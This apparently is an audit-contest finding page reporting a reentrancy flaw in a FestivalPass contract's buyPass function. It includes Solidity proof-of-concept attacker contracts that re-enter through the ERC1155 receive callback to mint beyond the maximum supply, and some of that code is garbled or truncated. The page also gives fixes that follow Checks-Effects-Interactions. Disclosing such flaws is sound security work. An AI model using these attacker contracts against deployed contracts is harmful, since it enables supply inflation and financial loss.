Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

ERC1155 Based Reentrancy At FestivalPass::buyPass Function

Reentrency attack at buyPass() function lead to bypassing of token max supply limit

Description

  • A reentrancy vulnerability was identified in the buyPass() function.
    This vulnerability occurs when an attacker re-enters the function before the passSupply counter is incremented, allowing them to mint more tokens than the maximum supply.
    As a result, the attacker can inflate their balance, potentially diluting the token’s scarcity and reducing its value.



  • The function tends to send external call before state is updated

_mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];n

Risk

Likelihood:

  • This occurs when a user interacts with buyPass() while the _mint() call triggers the onERC1155Received callback, allowing the function to be re-entered before the passSupply counter increments.

  • Malicious actors can exploit this during normal pass purchases, especially when the max supply is low or passes are scarce.

Impact:

  • The attacker can mint more passes than allowed, breaking the scarcity of the token.

  • The attacker can inflate their BEAT token rewards (for VIP or Backstage passes), reducing the economic value of passes and rewards for legitimate users.

Proof of Concept

function test_BuyPass_Reentrancy() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(festivalPass));
vm.deal(address(attacker), 3 ether);
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 1);
vm.prank(address(attacker));
attacker.attack(1, GENERAL_PRICE);
uint256 supply = festivalPass.passSupply(1);
uint256 balance = festivalPass.balanceOf(address(attacker), 1);
console.log("Supply:", supply);
console.log("Attacker balance:", balance);
assertLe(supply, 1);
}
}
contract ReentrancyAttacker {
address public festivalPass;
uint256 public count;
constructor(address _festivalPass) {
festivalPass = _festivalPass;
}
function attack(uint256 passId, uint256 price) external {
FestivalPass(festivalPass).buyPass{value: price}(passId);
}
function onERC1155Received(
address,
address,
uint256 id,
uint256,
bytes calldata
) external returns (bytes4) {
if (count < 3) {
count++;
FestivalPass(festivalPass).buyPass{value: 0.05 ether}(id);
}
return this.onERC1155Received.selector;
}
}

explaination:

this is an attacker function, First it buys the ticket using this function:
function attack(uint256 passId, uint256 price) external {
FestivalPass(festivalPass).buyPass{value: price}(passId);
}

when (festivalPass).buyPass is executed, the onERC1155Received is triggered, wich buys the ticket again using

if (count < 3) {
count++;
FestivalPass(festivalPass).buyPass{value: 0.05 ether}(id);
}

when the ticket is bought it will trigger onERC1155Receivedagain and keep calling the buyPass function over and over without increasing the max supply counter

Recommended Mitigation

Apply a CEI (Check-effect-interaction) to the function so state is updated before external call is done

- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!